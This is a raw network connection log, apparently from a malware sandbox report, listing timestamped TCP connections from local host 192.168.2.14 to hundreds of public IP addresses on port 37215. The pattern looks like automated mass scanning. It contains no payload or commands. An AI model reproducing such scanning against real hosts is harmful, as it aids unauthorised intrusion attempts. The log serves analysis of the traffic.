Sep 25, 2024 14:14:19.643263102 CEST	46112	37215	192.168.2.14	197.137.61.66
Sep 25, 2024 14:14:19.643271923 CEST	63353	37215	192.168.2.14	156.127.3.148
Sep 25, 2024 14:14:19.643274069 CEST	37215	44514	197.172.74.68	192.168.2.14
Sep 25, 2024 14:14:19.643280983 CEST	43716	37215	192.168.2.14	156.58.216.35
Sep 25, 2024 14:14:19.643280983 CEST	32846	37215	192.168.2.14	156.197.220.184
Sep 25, 2024 14:14:19.643286943 CEST	37215	36690	156.150.52.76	192.168.2.14
Sep 25, 2024 14:14:19.643299103 CEST	63353	37215	192.168.2.14	197.190.148.163
Sep 25, 2024 14:14:19.643301964 CEST	37215	48890	197.13.34.105	192.168.2.14
Sep 25, 2024 14:14:19.643305063 CEST	63353	37215	192.168.2.14	156.95.71.36
Sep 25, 2024 14:14:19.643316031 CEST	44514	37215	192.168.2.14	197.172.74.68
Sep 25, 2024 14:14:19.643316031 CEST	36690	37215	192.168.2.14	156.150.52.76
Sep 25, 2024 14:14:19.643320084 CEST	63353	37215	192.168.2.14	41.33.96.88
Sep 25, 2024 14:14:19.643335104 CEST	63353	37215	192.168.2.14	197.225.126.86
Sep 25, 2024 14:14:19.643342018 CEST	48890	37215	192.168.2.14	197.13.34.105
Sep 25, 2024 14:14:19.643343925 CEST	63353	37215	192.168.2.14	197.92.172.196
Sep 25, 2024 14:14:19.643346071 CEST	63353	37215	192.168.2.14	41.64.17.0
Sep 25, 2024 14:14:19.643369913 CEST	63353	37215	192.168.2.14	156.241.212.158
Sep 25, 2024 14:14:19.643371105 CEST	63353	37215	192.168.2.14	156.67.122.86
Sep 25, 2024 14:14:19.643371105 CEST	63353	37215	192.168.2.14	156.15.122.126
Sep 25, 2024 14:14:19.643371105 CEST	63353	37215	192.168.2.14	156.109.98.95
Sep 25, 2024 14:14:19.643393040 CEST	63353	37215	192.168.2.14	41.155.154.161
Sep 25, 2024 14:14:19.643393040 CEST	63353	37215	192.168.2.14	197.11.206.26
Sep 25, 2024 14:14:19.643419981 CEST	63353	37215	192.168.2.14	156.16.30.136
Sep 25, 2024 14:14:19.643420935 CEST	63353	37215	192.168.2.14	197.165.164.248
Sep 25, 2024 14:14:19.643438101 CEST	63353	37215	192.168.2.14	197.179.163.209
Sep 25, 2024 14:14:19.643438101 CEST	63353	37215	192.168.2.14	197.139.168.250
Sep 25, 2024 14:14:19.643444061 CEST	63353	37215	192.168.2.14	197.11.43.164
Sep 25, 2024 14:14:19.643444061 CEST	63353	37215	192.168.2.14	41.241.4.209
Sep 25, 2024 14:14:19.643460035 CEST	63353	37215	192.168.2.14	197.76.158.67
Sep 25, 2024 14:14:19.643461943 CEST	63353	37215	192.168.2.14	156.120.144.233
Sep 25, 2024 14:14:19.643469095 CEST	63353	37215	192.168.2.14	41.85.21.208
Sep 25, 2024 14:14:19.643480062 CEST	63353	37215	192.168.2.14	41.166.234.180
Sep 25, 2024 14:14:19.643480062 CEST	63353	37215	192.168.2.14	41.37.99.107
Sep 25, 2024 14:14:19.643491983 CEST	63353	37215	192.168.2.14	41.161.63.211
Sep 25, 2024 14:14:19.643505096 CEST	63353	37215	192.168.2.14	197.200.152.166
Sep 25, 2024 14:14:19.643507004 CEST	63353	37215	192.168.2.14	197.31.136.188
Sep 25, 2024 14:14:19.643505096 CEST	63353	37215	192.168.2.14	156.223.233.239
Sep 25, 2024 14:14:19.643532991 CEST	63353	37215	192.168.2.14	156.111.235.109
Sep 25, 2024 14:14:19.643534899 CEST	63353	37215	192.168.2.14	156.79.121.29
Sep 25, 2024 14:14:19.643552065 CEST	63353	37215	192.168.2.14	156.54.30.158
Sep 25, 2024 14:14:19.643554926 CEST	63353	37215	192.168.2.14	197.178.176.208
Sep 25, 2024 14:14:19.643564939 CEST	63353	37215	192.168.2.14	41.91.77.103
Sep 25, 2024 14:14:19.643568039 CEST	63353	37215	192.168.2.14	197.170.229.98
Sep 25, 2024 14:14:19.643568039 CEST	63353	37215	192.168.2.14	41.77.182.33
Sep 25, 2024 14:14:19.643579960 CEST	63353	37215	192.168.2.14	156.129.236.212
Sep 25, 2024 14:14:19.643584013 CEST	63353	37215	192.168.2.14	197.200.44.43
Sep 25, 2024 14:14:19.643584013 CEST	63353	37215	192.168.2.14	41.172.112.204
Sep 25, 2024 14:14:19.643589973 CEST	63353	37215	192.168.2.14	41.248.146.253
Sep 25, 2024 14:14:19.643610001 CEST	63353	37215	192.168.2.14	41.143.106.216
Sep 25, 2024 14:14:19.643630028 CEST	63353	37215	192.168.2.14	41.158.116.136
Sep 25, 2024 14:14:19.643635988 CEST	63353	37215	192.168.2.14	41.228.200.255
Sep 25, 2024 14:14:19.643636942 CEST	63353	37215	192.168.2.14	41.164.189.192
Sep 25, 2024 14:14:19.643651962 CEST	63353	37215	192.168.2.14	41.30.124.221
Sep 25, 2024 14:14:19.643655062 CEST	63353	37215	192.168.2.14	197.244.126.104
Sep 25, 2024 14:14:19.643660069 CEST	63353	37215	192.168.2.14	41.182.180.190
Sep 25, 2024 14:14:19.643666983 CEST	63353	37215	192.168.2.14	156.183.212.73
Sep 25, 2024 14:14:19.643675089 CEST	63353	37215	192.168.2.14	41.12.75.142
Sep 25, 2024 14:14:19.643676996 CEST	63353	37215	192.168.2.14	41.35.65.127
Sep 25, 2024 14:14:19.643693924 CEST	63353	37215	192.168.2.14	41.230.230.18
Sep 25, 2024 14:14:19.643706083 CEST	63353	37215	192.168.2.14	156.220.215.4
Sep 25, 2024 14:14:19.643713951 CEST	63353	37215	192.168.2.14	41.237.72.126
Sep 25, 2024 14:14:19.643723011 CEST	63353	37215	192.168.2.14	156.214.201.70
Sep 25, 2024 14:14:19.643729925 CEST	63353	37215	192.168.2.14	41.89.218.249
Sep 25, 2024 14:14:19.643740892 CEST	63353	37215	192.168.2.14	41.52.96.33
Sep 25, 2024 14:14:19.643743992 CEST	63353	37215	192.168.2.14	197.202.161.248
Sep 25, 2024 14:14:19.643755913 CEST	63353	37215	192.168.2.14	197.124.16.109
Sep 25, 2024 14:14:19.643759966 CEST	63353	37215	192.168.2.14	197.154.112.146
Sep 25, 2024 14:14:19.643769979 CEST	63353	37215	192.168.2.14	41.97.75.125
Sep 25, 2024 14:14:19.643769979 CEST	63353	37215	192.168.2.14	156.225.159.53
Sep 25, 2024 14:14:19.643769979 CEST	63353	37215	192.168.2.14	197.239.142.210
Sep 25, 2024 14:14:19.643789053 CEST	63353	37215	192.168.2.14	41.117.142.107
Sep 25, 2024 14:14:19.643789053 CEST	63353	37215	192.168.2.14	197.13.5.180
Sep 25, 2024 14:14:19.643804073 CEST	63353	37215	192.168.2.14	197.98.159.82
Sep 25, 2024 14:14:19.643822908 CEST	63353	37215	192.168.2.14	156.53.121.87
Sep 25, 2024 14:14:19.643826008 CEST	63353	37215	192.168.2.14	197.168.100.169
Sep 25, 2024 14:14:19.643832922 CEST	63353	37215	192.168.2.14	197.44.120.177
Sep 25, 2024 14:14:19.643840075 CEST	63353	37215	192.168.2.14	41.16.222.49
Sep 25, 2024 14:14:19.643842936 CEST	63353	37215	192.168.2.14	156.13.62.231
Sep 25, 2024 14:14:19.643858910 CEST	63353	37215	192.168.2.14	197.20.123.61
Sep 25, 2024 14:14:19.643860102 CEST	63353	37215	192.168.2.14	197.208.168.19
Sep 25, 2024 14:14:19.643863916 CEST	63353	37215	192.168.2.14	156.151.243.104
Sep 25, 2024 14:14:19.643872976 CEST	63353	37215	192.168.2.14	197.198.99.197
Sep 25, 2024 14:14:19.643874884 CEST	63353	37215	192.168.2.14	197.159.159.94
Sep 25, 2024 14:14:19.643884897 CEST	63353	37215	192.168.2.14	156.209.234.79
Sep 25, 2024 14:14:19.643898964 CEST	63353	37215	192.168.2.14	197.108.17.77
Sep 25, 2024 14:14:19.643906116 CEST	63353	37215	192.168.2.14	41.50.188.249
Sep 25, 2024 14:14:19.643906116 CEST	63353	37215	192.168.2.14	156.239.222.190
Sep 25, 2024 14:14:19.643915892 CEST	63353	37215	192.168.2.14	156.251.100.205
Sep 25, 2024 14:14:19.643923044 CEST	63353	37215	192.168.2.14	41.230.191.103
Sep 25, 2024 14:14:19.643927097 CEST	63353	37215	192.168.2.14	156.25.246.184
Sep 25, 2024 14:14:19.643939018 CEST	63353	37215	192.168.2.14	197.210.75.191
Sep 25, 2024 14:14:19.643944979 CEST	63353	37215	192.168.2.14	41.204.40.253
Sep 25, 2024 14:14:19.643946886 CEST	63353	37215	192.168.2.14	197.7.6.228
Sep 25, 2024 14:14:19.643974066 CEST	63353	37215	192.168.2.14	156.121.133.20
Sep 25, 2024 14:14:19.643978119 CEST	63353	37215	192.168.2.14	41.152.124.119
Sep 25, 2024 14:14:19.643994093 CEST	63353	37215	192.168.2.14	156.71.139.82
Sep 25, 2024 14:14:19.643994093 CEST	63353	37215	192.168.2.14	41.64.63.82
Sep 25, 2024 14:14:19.644009113 CEST	63353	37215	192.168.2.14	156.190.216.5
Sep 25, 2024 14:14:19.644011021 CEST	63353	37215	192.168.2.14	156.5.248.222
Sep 25, 2024 14:14:19.644013882 CEST	63353	37215	192.168.2.14	197.149.144.62
Sep 25, 2024 14:14:19.644013882 CEST	63353	37215	192.168.2.14	41.60.19.251
Sep 25, 2024 14:14:19.644022942 CEST	63353	37215	192.168.2.14	197.246.8.109
Sep 25, 2024 14:14:19.644025087 CEST	63353	37215	192.168.2.14	156.117.135.186
Sep 25, 2024 14:14:19.644041061 CEST	63353	37215	192.168.2.14	156.233.174.102
Sep 25, 2024 14:14:19.644058943 CEST	63353	37215	192.168.2.14	41.84.64.223
Sep 25, 2024 14:14:19.644072056 CEST	63353	37215	192.168.2.14	197.165.156.129
Sep 25, 2024 14:14:19.644073963 CEST	63353	37215	192.168.2.14	156.81.173.1
Sep 25, 2024 14:14:19.644073963 CEST	63353	37215	192.168.2.14	41.62.144.85
Sep 25, 2024 14:14:19.644077063 CEST	63353	37215	192.168.2.14	156.85.61.193
Sep 25, 2024 14:14:19.644081116 CEST	63353	37215	192.168.2.14	197.57.100.123
Sep 25, 2024 14:14:19.644081116 CEST	63353	37215	192.168.2.14	156.5.155.152
Sep 25, 2024 14:14:19.644081116 CEST	63353	37215	192.168.2.14	197.104.175.171
Sep 25, 2024 14:14:19.644081116 CEST	63353	37215	192.168.2.14	197.196.118.148
Sep 25, 2024 14:14:19.644102097 CEST	63353	37215	192.168.2.14	197.127.36.64
Sep 25, 2024 14:14:19.644104958 CEST	63353	37215	192.168.2.14	41.220.219.21
Sep 25, 2024 14:14:19.644112110 CEST	63353	37215	192.168.2.14	197.71.143.239
Sep 25, 2024 14:14:19.644113064 CEST	63353	37215	192.168.2.14	156.88.229.156
Sep 25, 2024 14:14:19.644143105 CEST	63353	37215	192.168.2.14	156.233.17.190
Sep 25, 2024 14:14:19.644148111 CEST	63353	37215	192.168.2.14	156.234.231.44
Sep 25, 2024 14:14:19.644162893 CEST	63353	37215	192.168.2.14	197.60.215.131
Sep 25, 2024 14:14:19.644165993 CEST	63353	37215	192.168.2.14	197.9.76.32
Sep 25, 2024 14:14:19.644172907 CEST	63353	37215	192.168.2.14	41.34.165.125
Sep 25, 2024 14:14:19.644175053 CEST	63353	37215	192.168.2.14	156.185.72.92
Sep 25, 2024 14:14:19.644185066 CEST	63353	37215	192.168.2.14	41.70.192.102
Sep 25, 2024 14:14:19.644191027 CEST	63353	37215	192.168.2.14	156.122.35.35
Sep 25, 2024 14:14:19.644198895 CEST	63353	37215	192.168.2.14	156.102.115.230
Sep 25, 2024 14:14:19.644210100 CEST	63353	37215	192.168.2.14	41.227.108.107
Sep 25, 2024 14:14:19.644232988 CEST	63353	37215	192.168.2.14	197.229.242.200
Sep 25, 2024 14:14:19.644237041 CEST	63353	37215	192.168.2.14	156.148.18.109
Sep 25, 2024 14:14:19.644244909 CEST	63353	37215	192.168.2.14	41.156.95.182
Sep 25, 2024 14:14:19.644252062 CEST	63353	37215	192.168.2.14	41.216.241.113
Sep 25, 2024 14:14:19.644258976 CEST	63353	37215	192.168.2.14	197.132.20.29
Sep 25, 2024 14:14:19.644263983 CEST	63353	37215	192.168.2.14	197.255.158.106
Sep 25, 2024 14:14:19.644268990 CEST	63353	37215	192.168.2.14	197.75.195.161
Sep 25, 2024 14:14:19.644275904 CEST	63353	37215	192.168.2.14	197.26.8.245
Sep 25, 2024 14:14:19.644278049 CEST	63353	37215	192.168.2.14	156.125.134.15
Sep 25, 2024 14:14:19.644288063 CEST	63353	37215	192.168.2.14	41.182.176.222
Sep 25, 2024 14:14:19.644289017 CEST	63353	37215	192.168.2.14	197.60.215.183
Sep 25, 2024 14:14:19.644318104 CEST	63353	37215	192.168.2.14	41.97.148.29
Sep 25, 2024 14:14:19.644323111 CEST	63353	37215	192.168.2.14	41.84.211.182
Sep 25, 2024 14:14:19.644329071 CEST	63353	37215	192.168.2.14	41.99.166.122
Sep 25, 2024 14:14:19.644335985 CEST	63353	37215	192.168.2.14	41.230.99.252
Sep 25, 2024 14:14:19.644347906 CEST	63353	37215	192.168.2.14	41.230.64.35
Sep 25, 2024 14:14:19.644351006 CEST	63353	37215	192.168.2.14	156.25.103.50
Sep 25, 2024 14:14:19.644364119 CEST	63353	37215	192.168.2.14	197.210.128.206
Sep 25, 2024 14:14:19.644364119 CEST	63353	37215	192.168.2.14	156.19.18.164
Sep 25, 2024 14:14:19.644365072 CEST	63353	37215	192.168.2.14	197.0.174.179
Sep 25, 2024 14:14:19.644375086 CEST	63353	37215	192.168.2.14	156.145.208.131
Sep 25, 2024 14:14:19.644378901 CEST	63353	37215	192.168.2.14	41.226.181.99
Sep 25, 2024 14:14:19.644387007 CEST	63353	37215	192.168.2.14	197.55.74.239
Sep 25, 2024 14:14:19.644396067 CEST	63353	37215	192.168.2.14	41.85.136.34
Sep 25, 2024 14:14:19.644407034 CEST	63353	37215	192.168.2.14	156.63.164.79
Sep 25, 2024 14:14:19.644413948 CEST	63353	37215	192.168.2.14	197.124.22.49
Sep 25, 2024 14:14:19.644419909 CEST	63353	37215	192.168.2.14	197.91.90.199
Sep 25, 2024 14:14:19.644426107 CEST	63353	37215	192.168.2.14	41.94.194.129
Sep 25, 2024 14:14:19.644440889 CEST	63353	37215	192.168.2.14	197.17.35.97
Sep 25, 2024 14:14:19.644440889 CEST	63353	37215	192.168.2.14	197.192.63.85
Sep 25, 2024 14:14:19.644440889 CEST	63353	37215	192.168.2.14	41.108.155.32
Sep 25, 2024 14:14:19.644471884 CEST	63353	37215	192.168.2.14	156.223.91.246
Sep 25, 2024 14:14:19.644474030 CEST	63353	37215	192.168.2.14	197.178.55.10
Sep 25, 2024 14:14:19.644479036 CEST	63353	37215	192.168.2.14	41.113.70.18
Sep 25, 2024 14:14:19.644490004 CEST	63353	37215	192.168.2.14	156.67.15.221
Sep 25, 2024 14:14:19.644493103 CEST	63353	37215	192.168.2.14	197.29.139.132
Sep 25, 2024 14:14:19.644495010 CEST	63353	37215	192.168.2.14	197.148.224.230
Sep 25, 2024 14:14:19.644499063 CEST	63353	37215	192.168.2.14	41.247.68.209
Sep 25, 2024 14:14:19.644512892 CEST	63353	37215	192.168.2.14	197.50.81.60
Sep 25, 2024 14:14:19.644515038 CEST	63353	37215	192.168.2.14	156.181.208.232
Sep 25, 2024 14:14:19.644526005 CEST	63353	37215	192.168.2.14	197.150.205.53
Sep 25, 2024 14:14:19.644865036 CEST	58732	37215	192.168.2.14	197.39.150.174
Sep 25, 2024 14:14:19.644865036 CEST	58732	37215	192.168.2.14	197.39.150.174
Sep 25, 2024 14:14:19.645891905 CEST	58794	37215	192.168.2.14	197.39.150.174
Sep 25, 2024 14:14:19.646852970 CEST	57672	37215	192.168.2.14	41.189.63.143
Sep 25, 2024 14:14:19.646852970 CEST	57672	37215	192.168.2.14	41.189.63.143
Sep 25, 2024 14:14:19.647802114 CEST	57734	37215	192.168.2.14	41.189.63.143
Sep 25, 2024 14:14:19.648174047 CEST	37215	63353	41.6.71.108	192.168.2.14
Sep 25, 2024 14:14:19.648220062 CEST	63353	37215	192.168.2.14	41.6.71.108
Sep 25, 2024 14:14:19.648597956 CEST	37215	63353	156.127.3.148	192.168.2.14
Sep 25, 2024 14:14:19.648629904 CEST	37215	63353	197.190.148.163	192.168.2.14
Sep 25, 2024 14:14:19.648634911 CEST	63353	37215	192.168.2.14	156.127.3.148
Sep 25, 2024 14:14:19.648643970 CEST	37215	63353	156.95.71.36	192.168.2.14
Sep 25, 2024 14:14:19.648658037 CEST	63353	37215	192.168.2.14	197.190.148.163
Sep 25, 2024 14:14:19.648658037 CEST	37215	63353	41.33.96.88	192.168.2.14
Sep 25, 2024 14:14:19.648669958 CEST	37215	63353	197.225.126.86	192.168.2.14
Sep 25, 2024 14:14:19.648674965 CEST	63353	37215	192.168.2.14	156.95.71.36
Sep 25, 2024 14:14:19.648699045 CEST	63353	37215	192.168.2.14	41.33.96.88
Sep 25, 2024 14:14:19.648709059 CEST	63353	37215	192.168.2.14	197.225.126.86
Sep 25, 2024 14:14:19.648719072 CEST	37215	63353	41.64.17.0	192.168.2.14
Sep 25, 2024 14:14:19.648732901 CEST	37215	63353	197.92.172.196	192.168.2.14
Sep 25, 2024 14:14:19.648750067 CEST	37215	63353	156.241.212.158	192.168.2.14
Sep 25, 2024 14:14:19.648751020 CEST	63353	37215	192.168.2.14	41.64.17.0
Sep 25, 2024 14:14:19.648763895 CEST	37215	63353	156.109.98.95	192.168.2.14
Sep 25, 2024 14:14:19.648772001 CEST	63353	37215	192.168.2.14	197.92.172.196
Sep 25, 2024 14:14:19.648776054 CEST	37215	63353	156.67.122.86	192.168.2.14
Sep 25, 2024 14:14:19.648778915 CEST	63353	37215	192.168.2.14	156.241.212.158
Sep 25, 2024 14:14:19.648788929 CEST	37215	63353	156.15.122.126	192.168.2.14
Sep 25, 2024 14:14:19.648802042 CEST	37215	63353	41.155.154.161	192.168.2.14
Sep 25, 2024 14:14:19.648802996 CEST	63353	37215	192.168.2.14	156.109.98.95
Sep 25, 2024 14:14:19.648807049 CEST	63353	37215	192.168.2.14	156.67.122.86
Sep 25, 2024 14:14:19.648814917 CEST	37215	63353	197.11.206.26	192.168.2.14
Sep 25, 2024 14:14:19.648823023 CEST	63353	37215	192.168.2.14	156.15.122.126
Sep 25, 2024 14:14:19.648828030 CEST	37215	63353	156.16.30.136	192.168.2.14
Sep 25, 2024 14:14:19.648837090 CEST	63353	37215	192.168.2.14	41.155.154.161
Sep 25, 2024 14:14:19.648845911 CEST	63353	37215	192.168.2.14	197.11.206.26
Sep 25, 2024 14:14:19.648845911 CEST	63353	37215	192.168.2.14	156.16.30.136
Sep 25, 2024 14:14:19.648850918 CEST	37215	63353	197.165.164.248	192.168.2.14
Sep 25, 2024 14:14:19.648857117 CEST	38828	37215	192.168.2.14	41.174.94.226
Sep 25, 2024 14:14:19.648861885 CEST	38828	37215	192.168.2.14	41.174.94.226
Sep 25, 2024 14:14:19.648864985 CEST	37215	63353	197.139.168.250	192.168.2.14
Sep 25, 2024 14:14:19.648879051 CEST	37215	63353	197.179.163.209	192.168.2.14
Sep 25, 2024 14:14:19.648883104 CEST	63353	37215	192.168.2.14	197.165.164.248
Sep 25, 2024 14:14:19.648890972 CEST	37215	63353	197.11.43.164	192.168.2.14
Sep 25, 2024 14:14:19.648899078 CEST	63353	37215	192.168.2.14	197.139.168.250
Sep 25, 2024 14:14:19.648904085 CEST	37215	63353	41.241.4.209	192.168.2.14
Sep 25, 2024 14:14:19.648910046 CEST	63353	37215	192.168.2.14	197.179.163.209
Sep 25, 2024 14:14:19.648915052 CEST	63353	37215	192.168.2.14	197.11.43.164
Sep 25, 2024 14:14:19.648917913 CEST	37215	63353	197.76.158.67	192.168.2.14
Sep 25, 2024 14:14:19.648936987 CEST	37215	63353	156.120.144.233	192.168.2.14
Sep 25, 2024 14:14:19.648942947 CEST	63353	37215	192.168.2.14	41.241.4.209
Sep 25, 2024 14:14:19.648951054 CEST	63353	37215	192.168.2.14	197.76.158.67
Sep 25, 2024 14:14:19.648956060 CEST	37215	63353	41.37.99.107	192.168.2.14
Sep 25, 2024 14:14:19.648967981 CEST	63353	37215	192.168.2.14	156.120.144.233
Sep 25, 2024 14:14:19.648969889 CEST	37215	41324	41.213.67.82	192.168.2.14
Sep 25, 2024 14:14:19.648996115 CEST	63353	37215	192.168.2.14	41.37.99.107
Sep 25, 2024 14:14:19.649000883 CEST	41324	37215	192.168.2.14	41.213.67.82
Sep 25, 2024 14:14:19.649074078 CEST	37215	63353	41.166.234.180	192.168.2.14
Sep 25, 2024 14:14:19.649086952 CEST	37215	63353	41.85.21.208	192.168.2.14
Sep 25, 2024 14:14:19.649099112 CEST	37215	63353	41.161.63.211	192.168.2.14
Sep 25, 2024 14:14:19.649106026 CEST	63353	37215	192.168.2.14	41.166.234.180
Sep 25, 2024 14:14:19.649111986 CEST	37215	63353	197.31.136.188	192.168.2.14
Sep 25, 2024 14:14:19.649122000 CEST	63353	37215	192.168.2.14	41.161.63.211
Sep 25, 2024 14:14:19.649127007 CEST	63353	37215	192.168.2.14	41.85.21.208
Sep 25, 2024 14:14:19.649133921 CEST	37215	63353	197.200.152.166	192.168.2.14
Sep 25, 2024 14:14:19.649147987 CEST	63353	37215	192.168.2.14	197.31.136.188
Sep 25, 2024 14:14:19.649159908 CEST	37215	63353	156.223.233.239	192.168.2.14
Sep 25, 2024 14:14:19.649171114 CEST	37215	63353	156.111.235.109	192.168.2.14
Sep 25, 2024 14:14:19.649173021 CEST	63353	37215	192.168.2.14	197.200.152.166
Sep 25, 2024 14:14:19.649192095 CEST	63353	37215	192.168.2.14	156.223.233.239
Sep 25, 2024 14:14:19.649193048 CEST	37215	63353	156.79.121.29	192.168.2.14
Sep 25, 2024 14:14:19.649207115 CEST	37215	63353	156.54.30.158	192.168.2.14
Sep 25, 2024 14:14:19.649208069 CEST	63353	37215	192.168.2.14	156.111.235.109
Sep 25, 2024 14:14:19.649220943 CEST	37215	63353	197.178.176.208	192.168.2.14
Sep 25, 2024 14:14:19.649226904 CEST	63353	37215	192.168.2.14	156.79.121.29
Sep 25, 2024 14:14:19.649234056 CEST	37215	63353	41.91.77.103	192.168.2.14
Sep 25, 2024 14:14:19.649239063 CEST	63353	37215	192.168.2.14	156.54.30.158
Sep 25, 2024 14:14:19.649247885 CEST	37215	63353	197.170.229.98	192.168.2.14
Sep 25, 2024 14:14:19.649251938 CEST	63353	37215	192.168.2.14	197.178.176.208
Sep 25, 2024 14:14:19.649261951 CEST	37215	63353	41.77.182.33	192.168.2.14
Sep 25, 2024 14:14:19.649265051 CEST	63353	37215	192.168.2.14	41.91.77.103
Sep 25, 2024 14:14:19.649275064 CEST	37215	63353	156.129.236.212	192.168.2.14
Sep 25, 2024 14:14:19.649281979 CEST	63353	37215	192.168.2.14	197.170.229.98
Sep 25, 2024 14:14:19.649281979 CEST	63353	37215	192.168.2.14	41.77.182.33
Sep 25, 2024 14:14:19.649286985 CEST	37215	63353	197.200.44.43	192.168.2.14
Sep 25, 2024 14:14:19.649300098 CEST	37215	63353	41.172.112.204	192.168.2.14
Sep 25, 2024 14:14:19.649307013 CEST	63353	37215	192.168.2.14	156.129.236.212
Sep 25, 2024 14:14:19.649312973 CEST	37215	63353	41.248.146.253	192.168.2.14
Sep 25, 2024 14:14:19.649317980 CEST	63353	37215	192.168.2.14	197.200.44.43
Sep 25, 2024 14:14:19.649326086 CEST	37215	63353	41.143.106.216	192.168.2.14
Sep 25, 2024 14:14:19.649333954 CEST	63353	37215	192.168.2.14	41.172.112.204
Sep 25, 2024 14:14:19.649338007 CEST	37215	63353	41.158.116.136	192.168.2.14
Sep 25, 2024 14:14:19.649350882 CEST	37215	63353	41.164.189.192	192.168.2.14
Sep 25, 2024 14:14:19.649352074 CEST	63353	37215	192.168.2.14	41.248.146.253
Sep 25, 2024 14:14:19.649353981 CEST	63353	37215	192.168.2.14	41.143.106.216
Sep 25, 2024 14:14:19.649370909 CEST	63353	37215	192.168.2.14	41.158.116.136
Sep 25, 2024 14:14:19.649373055 CEST	37215	63353	41.228.200.255	192.168.2.14
Sep 25, 2024 14:14:19.649382114 CEST	63353	37215	192.168.2.14	41.164.189.192
Sep 25, 2024 14:14:19.649388075 CEST	37215	63353	41.30.124.221	192.168.2.14
Sep 25, 2024 14:14:19.649399996 CEST	63353	37215	192.168.2.14	41.228.200.255
Sep 25, 2024 14:14:19.649410963 CEST	37215	63353	197.244.126.104	192.168.2.14
Sep 25, 2024 14:14:19.649424076 CEST	37215	63353	41.182.180.190	192.168.2.14
Sep 25, 2024 14:14:19.649424076 CEST	63353	37215	192.168.2.14	41.30.124.221
Sep 25, 2024 14:14:19.649436951 CEST	37215	63353	156.183.212.73	192.168.2.14
Sep 25, 2024 14:14:19.649436951 CEST	63353	37215	192.168.2.14	197.244.126.104
Sep 25, 2024 14:14:19.649450064 CEST	37215	63353	41.12.75.142	192.168.2.14
Sep 25, 2024 14:14:19.649457932 CEST	63353	37215	192.168.2.14	156.183.212.73
Sep 25, 2024 14:14:19.649462938 CEST	37215	63353	41.35.65.127	192.168.2.14
Sep 25, 2024 14:14:19.649468899 CEST	63353	37215	192.168.2.14	41.182.180.190
Sep 25, 2024 14:14:19.649476051 CEST	37215	63353	41.230.230.18	192.168.2.14
Sep 25, 2024 14:14:19.649482965 CEST	63353	37215	192.168.2.14	41.12.75.142
Sep 25, 2024 14:14:19.649492025 CEST	63353	37215	192.168.2.14	41.35.65.127
Sep 25, 2024 14:14:19.649511099 CEST	63353	37215	192.168.2.14	41.230.230.18
Sep 25, 2024 14:14:19.649662971 CEST	37215	63353	156.220.215.4	192.168.2.14
Sep 25, 2024 14:14:19.649676085 CEST	37215	63353	41.237.72.126	192.168.2.14
Sep 25, 2024 14:14:19.649688005 CEST	37215	63353	156.214.201.70	192.168.2.14
Sep 25, 2024 14:14:19.649709940 CEST	63353	37215	192.168.2.14	41.237.72.126
Sep 25, 2024 14:14:19.649714947 CEST	63353	37215	192.168.2.14	156.214.201.70
Sep 25, 2024 14:14:19.649715900 CEST	63353	37215	192.168.2.14	156.220.215.4
Sep 25, 2024 14:14:19.649723053 CEST	37215	63353	41.89.218.249	192.168.2.14
Sep 25, 2024 14:14:19.649736881 CEST	37215	63353	41.52.96.33	192.168.2.14
Sep 25, 2024 14:14:19.649749994 CEST	37215	63353	197.202.161.248	192.168.2.14
Sep 25, 2024 14:14:19.649760008 CEST	63353	37215	192.168.2.14	41.89.218.249
Sep 25, 2024 14:14:19.649760008 CEST	63353	37215	192.168.2.14	41.52.96.33
Sep 25, 2024 14:14:19.649765015 CEST	37215	63353	197.124.16.109	192.168.2.14
Sep 25, 2024 14:14:19.649777889 CEST	37215	63353	197.154.112.146	192.168.2.14
Sep 25, 2024 14:14:19.649785042 CEST	63353	37215	192.168.2.14	197.202.161.248
Sep 25, 2024 14:14:19.649790049 CEST	37215	63353	197.239.142.210	192.168.2.14
Sep 25, 2024 14:14:19.649801016 CEST	63353	37215	192.168.2.14	197.124.16.109
Sep 25, 2024 14:14:19.649801970 CEST	37215	63353	41.97.75.125	192.168.2.14
Sep 25, 2024 14:14:19.649810076 CEST	63353	37215	192.168.2.14	197.239.142.210
Sep 25, 2024 14:14:19.649811983 CEST	63353	37215	192.168.2.14	197.154.112.146
Sep 25, 2024 14:14:19.649823904 CEST	37215	63353	156.225.159.53	192.168.2.14
Sep 25, 2024 14:14:19.649835110 CEST	37215	63353	41.117.142.107	192.168.2.14
Sep 25, 2024 14:14:19.649841070 CEST	63353	37215	192.168.2.14	41.97.75.125
Sep 25, 2024 14:14:19.649847984 CEST	37215	63353	197.13.5.180	192.168.2.14
Sep 25, 2024 14:14:19.649858952 CEST	63353	37215	192.168.2.14	41.117.142.107
Sep 25, 2024 14:14:19.649861097 CEST	37215	63353	197.98.159.82	192.168.2.14
Sep 25, 2024 14:14:19.649862051 CEST	63353	37215	192.168.2.14	156.225.159.53
Sep 25, 2024 14:14:19.649873018 CEST	37215	63353	156.53.121.87	192.168.2.14
Sep 25, 2024 14:14:19.649879932 CEST	63353	37215	192.168.2.14	197.13.5.180
Sep 25, 2024 14:14:19.649884939 CEST	37215	63353	197.168.100.169	192.168.2.14
Sep 25, 2024 14:14:19.649890900 CEST	63353	37215	192.168.2.14	197.98.159.82
Sep 25, 2024 14:14:19.649898052 CEST	37215	63353	197.44.120.177	192.168.2.14
Sep 25, 2024 14:14:19.649903059 CEST	63353	37215	192.168.2.14	156.53.121.87
Sep 25, 2024 14:14:19.649909973 CEST	37215	63353	41.16.222.49	192.168.2.14
Sep 25, 2024 14:14:19.649920940 CEST	63353	37215	192.168.2.14	197.168.100.169
Sep 25, 2024 14:14:19.649921894 CEST	37215	63353	156.13.62.231	192.168.2.14
Sep 25, 2024 14:14:19.649929047 CEST	63353	37215	192.168.2.14	197.44.120.177
Sep 25, 2024 14:14:19.649930954 CEST	63353	37215	192.168.2.14	41.16.222.49
Sep 25, 2024 14:14:19.649936914 CEST	37215	63353	197.20.123.61	192.168.2.14
Sep 25, 2024 14:14:19.649949074 CEST	37215	63353	197.208.168.19	192.168.2.14
Sep 25, 2024 14:14:19.649956942 CEST	63353	37215	192.168.2.14	156.13.62.231
Sep 25, 2024 14:14:19.649960995 CEST	37215	63353	156.151.243.104	192.168.2.14
Sep 25, 2024 14:14:19.649964094 CEST	63353	37215	192.168.2.14	197.20.123.61
Sep 25, 2024 14:14:19.649974108 CEST	37215	63353	197.198.99.197	192.168.2.14
Sep 25, 2024 14:14:19.649981976 CEST	63353	37215	192.168.2.14	197.208.168.19
Sep 25, 2024 14:14:19.649986029 CEST	63353	37215	192.168.2.14	156.151.243.104
Sep 25, 2024 14:14:19.649997950 CEST	37215	63353	197.159.159.94	192.168.2.14
